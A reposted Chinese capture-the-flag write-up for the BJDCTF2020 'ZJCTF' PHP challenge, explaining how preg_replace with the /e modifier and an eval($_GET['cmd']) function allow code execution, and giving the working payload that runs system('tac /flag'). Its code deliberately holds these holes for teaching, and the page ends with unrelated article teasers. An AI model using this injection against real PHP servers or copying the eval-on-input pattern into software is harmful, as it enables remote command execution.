BUU-[BJDCTF2020]ZJCTF,不过如此
//next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str)
{return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach ($_GET as $re => $str) {echo complex($re, $str) . "\n";
}function getFlag()
{@eval($_GET['cmd']);
}
解释一下在正则表达式中()的一个作用: 捕获
<?php
preg_replace('/(' . "dir" . ')/ei','system("\\1")',"dir"
);/*
1.在subject中寻找dir字符串
2. 找到了!而且因为在正则中使用了()进行包围, 所以会对捕获进行记录, 其中\1对应的就是捕获到的第一个记录, 也就是dir
3. 因为设置了/e, 所以preg_replace在进行替换之前会eval第二个参数
4. 实际上执行的是system("dir")
*/
简单的就是因为在正则中加入了(),所以会对捕获进行记录,类似于数组的键值对,\1对应的就是第一个捕获,\2就是第二个捕获
所以我们理所当然的认为payload可以这样构造:
?.*={${phpinfo()}}
在解释这个payload不行之前说明一下{${phpinfo()}}的作用:
php会认为{${}}里面的内容是一个表达式, 会先执行表达式的内容,当然了, 如果是使用单引号包围就不行, 因为单引号的内容会被当作是纯静态字符
至于为什么这个payload不行, 是因为php会对GET传入的键值对进行规范化, 会把不规范的字符规范为_, 所以实际上是_*={${phpinfo()}}
正确的payload是:?\S*={${getFlag()}}&cmd=system('tac /flag');
在正则表达式中: \S表示的是匹配任意的非空白字符
执行的流程是:
1.
function complex($re, $str)
{return preg_replace('/(\S*)/ei','strtolower("\\1")',"{${getFlag()}}");
}
- 捕获到了
{${getFlag()}} - \1 -> {${getFlag()}}
- strtolower("{${getFlag()}}")
- php对表达式进行解析: getFlag()
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1220769.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!相关文章
Sealos 私有化 vs 公有云:什么场景该选哪个
说实话,这个问题我被问了不下一百遍。每次我都想反问一句:你到底在纠结什么?先说结论:大部分人不需要私有化我见过太多这样的场景:一个三五人的小团队,项目刚起步,用户量还没破万,上…
2026年高定木作/轻法式木作厂家推荐榜:门墙柜一体化、整屋定制、全屋木作,匠心工艺与空间美学融合之选
2026年高定木作/轻法式木作厂家推荐榜:门墙柜一体化、整屋定制、全屋木作,匠心工艺与空间美学融合之选
随着消费升级与居住理念的深化,家居空间已从单一的功能承载,演变为个人审美与生活方式的集中表达。在这一背景…
深度测评!MBA必看8款AI论文工具:开题报告与文献综述全解析
深度测评!MBA必看8款AI论文工具:开题报告与文献综述全解析
为什么需要一份权威的AI论文工具测评?
随着人工智能技术在学术领域的广泛应用,MBA学生在撰写开题报告与文献综述时,对高效、专业的AI写作工具需求日益增长。然…
提示工程架构师案例:法律领域模型的提示适配准确性提升方案(附数据集)
提示工程架构师实战:法律领域大模型的提示适配准确性提升方案(附开源数据集与落地案例)
元数据框架
标题:提示工程架构师实战:法律领域大模型的提示适配准确性提升方案(附开源数据集与落地案例) 关键词:提示工程、法律大模型、Prompt Adaptation、法律AI准确性、法律…
三台机器部署 Sealos 私有云,完整操作手册
三年后回头看,私有化部署这件事可能是很多团队命运的分水岭。第一年:成本账开始算清楚当你用三台机器把 Sealos 私有云跑起来的那一刻,其实启动了一个计时器。第一年大概率会发现:原来云厂商账单里藏着这么多"隐形税"。…
FT232R USB UART驱动下载 附快速安装方案
FT232R USB UART 是 FTDI 推出的一款常见 USB 转串口芯片,广泛应用于单片机开发、嵌入式调试、串口通信模块等设备中。当电脑无法识别串口、设备管理器中出现未知设备,或 COM 端口无法正常使用时,通常是 FT232R USB UART 驱动缺失或版本不兼容…
MCP通信的双方是谁?
MCP的通信两端,一端是Client(如Claude Desktop,一个应用),另一端是Server(工具提供方)。大模型只是Client应用中的一个“推理引擎”组件。** MCP协议的订立,不直接面向大模型,而是面向构建了这些模型的应用或…
使用YOLOv26实现乌鸦鸽子麻雀等城市鸟类自动检测与分类
本数据集名为Crow Detection,是一个用于鸟类检测的专用数据集,于2024年1月18日通过qunshankj平台导出。该数据集包含720张图像,所有图像均采用YOLOv8格式进行标注,专注于三种常见鸟类:乌鸦(crow)、鸽子(pigeon)和麻雀(…
人群仿真软件:Vadere_(15).社区与支持资源
社区与支持资源
在进行人群仿真软件的二次开发过程中,社区和支持资源是不可或缺的一部分。这些资源提供了丰富的文档、教程、示例代码和用户反馈,帮助开发者更好地理解和使用软件。本节将详细介绍如何利用这些资源,包括官方文档、用户论坛、…
2026年度热门盘点原创音乐人首选的5款AI编曲软件
在当今音乐创作的浪潮中,AI编曲软件正逐渐成为原创音乐人的得力助手。它们凭借强大的技术能力,不仅能大幅提升创作效率,还能为音乐带来更多新颖的元素和风格。这些软件打破了传统创作的时间和空间限制,让音乐人可以更自由地发挥创…
怎么快速完成编曲?盘点原创音乐人常用的5款AI编曲软件
在音乐创作的领域里,时间和效率往往是原创音乐人面临的一大挑战。传统的编曲过程,从灵感捕捉到旋律构建,再到和声编排和节奏设计,每一个环节都需要耗费大量的时间和精力。而如今,AI编曲软件的出现为音乐人带来了新的曙…
统一白名单服务治理组件
服务治理组件:统一白名单控制
一、背景与问题
在微服务架构下,白名单控制几乎是必需能力:
接口级访问控制(IP / 应用 / 用户)灰度、内测、运营活动限制风控与安全兜底临时封禁、应急止血
但现实中常见问题是࿱…
企业级远控赋能跨境电商:企业如何实现云端运营提效?
中国企业通过跨境电商实现“B to C”业务出海所带来的贸易增量,是支撑经济发展“外循环”的重要组成部分。随着我国数字经济与外贸规模持续扩大,跨境电商出口保持强劲增长态势。
数据显示,截至2025年前三季度,中国跨境电商进出口总…
专科生必看!10个高效降aigc工具推荐,避坑指南来啦
专科生必看!10个高效降aigc工具推荐,避坑指南来啦
AI降重工具,让论文更“自然”
随着人工智能技术的不断发展,越来越多的专科生在撰写论文时开始依赖AI辅助工具。然而,AI生成的内容往往带有明显的痕迹,导致…
archlinux 更新遇到问题
有可能是长期不更新出现的
可以尝试# 2. 更新密钥环
sudo pacman -Sy archlinux-keyring然后再更新# 4. 完整系统更新
sudo pacman -Syu如果失败,可以将报错的包删除,再次执行系统更新
手机电脑都能用!跨平台体验最佳的视频提取文字在线免费网站盘点
在自媒体创作、职场办公、学习备考等场景中,我们常需要从视频中提取文字——可能是复刻爆款文案、整理会议纪要,也可能是转写网课重点。手动转录不仅耗时费力,准确率还难以保证,而一款优质的视频提取文字在线免费网站,…
防雷接地材料批发避坑指南|选对材料=省成本+保安全,工程采购必看!
建筑、电力、通信工程中,防雷接地从来不是“配角”——一次材料选型失误,可能导致工程返工、验收失败,甚至埋下雷电灾害隐患,让前期所有投入付诸东流!作为深耕防雷接地材料批发领域 10 余年的从业者,见过太多采购…
【MyCat】第6章----HA 机制的 Mycat 高可用
文章目录6.1 高可用方案6.2 安装配置 HAProxy1、 安装 HAProxy2、 启动验证6.3 配置 Keepalived1、 安装 Keepalived2、 启动验证6.4 测试高可用1、 测试步骤在实际项目中,Mycat 服务也需要考虑高可用性,如果 Mycat 所在服务器出现宕机,或 My…
2026年度深度盘点原创音乐人常备的5款AI编曲软件
在当今数字化浪潮席卷的音乐领域,AI编曲软件正逐渐成为原创音乐人手中的得力工具。它们以强大的技术能力,为音乐创作带来了前所未有的便捷与创新。这些软件能够快速生成旋律、编排和声、创作歌词,甚至模拟各种乐器音色和演唱风格,…
专业级编曲师的选择,深度盘点原创音乐人推荐的5款AI编曲软件
在当今科技飞速发展的时代,音乐创作领域也迎来了一场前所未有的变革,AI编曲软件的出现为音乐人们带来了全新的创作体验和无限可能。这些软件凭借强大的人工智能技术,能够高效地完成编曲、作曲、填词等一系列音乐创作任务,极大地提…